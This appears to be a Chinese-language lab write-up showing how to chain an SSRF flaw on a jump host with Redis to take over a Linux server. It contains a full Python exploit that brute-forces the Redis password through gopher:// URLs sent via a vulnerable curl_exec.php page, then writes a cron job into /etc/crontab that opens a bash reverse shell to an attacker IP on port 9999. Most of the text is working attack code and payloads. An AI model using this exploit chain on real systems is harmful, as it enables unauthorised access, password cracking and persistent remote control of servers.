随风潜入夜,润物细无声。
实验环境
主机 | 角色 | 描述 |
---|---|---|
centos8 | 受害服务器 | 运行redis数据库(含认证密码) |
window10 | 跳板服务器 | 含有ssrf漏洞 |
kali | 攻击者 | 利用ssrf+redis暴力破解获取centos8的shell |
工具:
Redis
nc
wireshark
tcpdump
python3
实验流程
登录redis,设置认证密码:
config set requirepass qianxun
config get requirepass
用kali进行抓包:
tcpdump -i eth0 port 6379 -w redis.pcap
用kali登录,执行认证命令以便获取认证数据包的样本:
抓包成功:
下载redis.pcap文件,并用wireshark进行分析:
构造gopher协议登录redis(要进行url编码)
如图所示,返回两个OK,说明认证成功!
按照这样的思路编写一个脚本,不断替换auth后的字段内容向redis发起请求,从而实现暴力破解。
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote
url = "http://222.24.28.207/ssrf/curl_exec.php?url="
gopher = "gopher://222.24.28.100:6379/_"
def get_password():
f = open("password.txt","r") #打开密码字典
return f.readlines()
def encoder_url(data):
encoder = ""
for single_char in data:
# 先转为ASCII
encoder += str(hex(ord(single_char)))
encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
return encoder
for password in get_password():
# 攻击脚本
data = """
auth %s
quit
""" % password #不断的用字典中的密码去替换
# 二次编码
encoder = encoder_url(encoder_url(data))
# 生成payload
payload = url + quote(gopher,'utf-8') + encoder
# 发起请求
request = urllib.request.Request(payload)
response = urllib.request.urlopen(request).read()
if response.decode().count("+OK") > 1: #当返回2个OK时,说明密码被成功找出
print("find password : " + password)
运行脚本:
如图所示,成功暴力破解出redis登录密码。
构造getshell的数据包:
auth qianxun
set mars "\\n* * * * * root bash -i >& /dev/tcp/222.24.28.44/9999 0>&1\\n"
config set dir /etc/
config set dbfilename crontab
save
加入getshell的数据包,并对上面的代码稍加改动,即可形成暴力破解redis密码并且getshell的exp:
#!/usr/bin/python
# -*- coding: UTF-8 -*-
import urllib.request
from urllib.parse import quote
url = "http://222.24.28.207/ssrf/curl_exec.php?url="
gopher = "gopher://222.24.28.100:6379/_"
def get_password():
f = open("password.txt","r")
return f.readlines()
def encoder_url(data):
encoder = ""
for single_char in data:
# 先转为ASCII
encoder += str(hex(ord(single_char)))
encoder = encoder.replace("0x","%").replace("%a","%0d%0a")
return encoder
for password in get_password():
# 攻击脚本
data = """
auth %s
quit
""" % password #不断的用字典中的密码去替换
getshell = """
auth %s
set mars "\\n* * * * * root bash -i >& /dev/tcp/222.24.28.44/9999 0>&1\\n"
config set dir /etc/
config set dbfilename crontab
save
quit
"""%password
# 二次编码
encoder = encoder_url(encoder_url(data))
# 生成payload
payload = url + quote(gopher,'utf-8') + encoder
# 发起请求
request = urllib.request.Request(payload)
response = urllib.request.urlopen(request).read()
if response.decode().count("+OK") > 1:
print("find password : " + password)
#print(getshell)
encoder_2 = encoder_url(encoder_url(getshell))
payload_2 = url + quote(gopher,'utf-8')+encoder_2
#print(payload_2)
request = urllib.request.Request(payload_2)
response = urllib.request.urlopen(request).read()
print("The packet of getshell has been sent!")
运行脚本:
成功反弹shell:
后记
本次实验与之前不同的是,redis数据库有了密码认证,需要自己编写脚本对密码进行暴力破解。本质上还是ssrf与Redis的组合拳,思路与之前相差不大。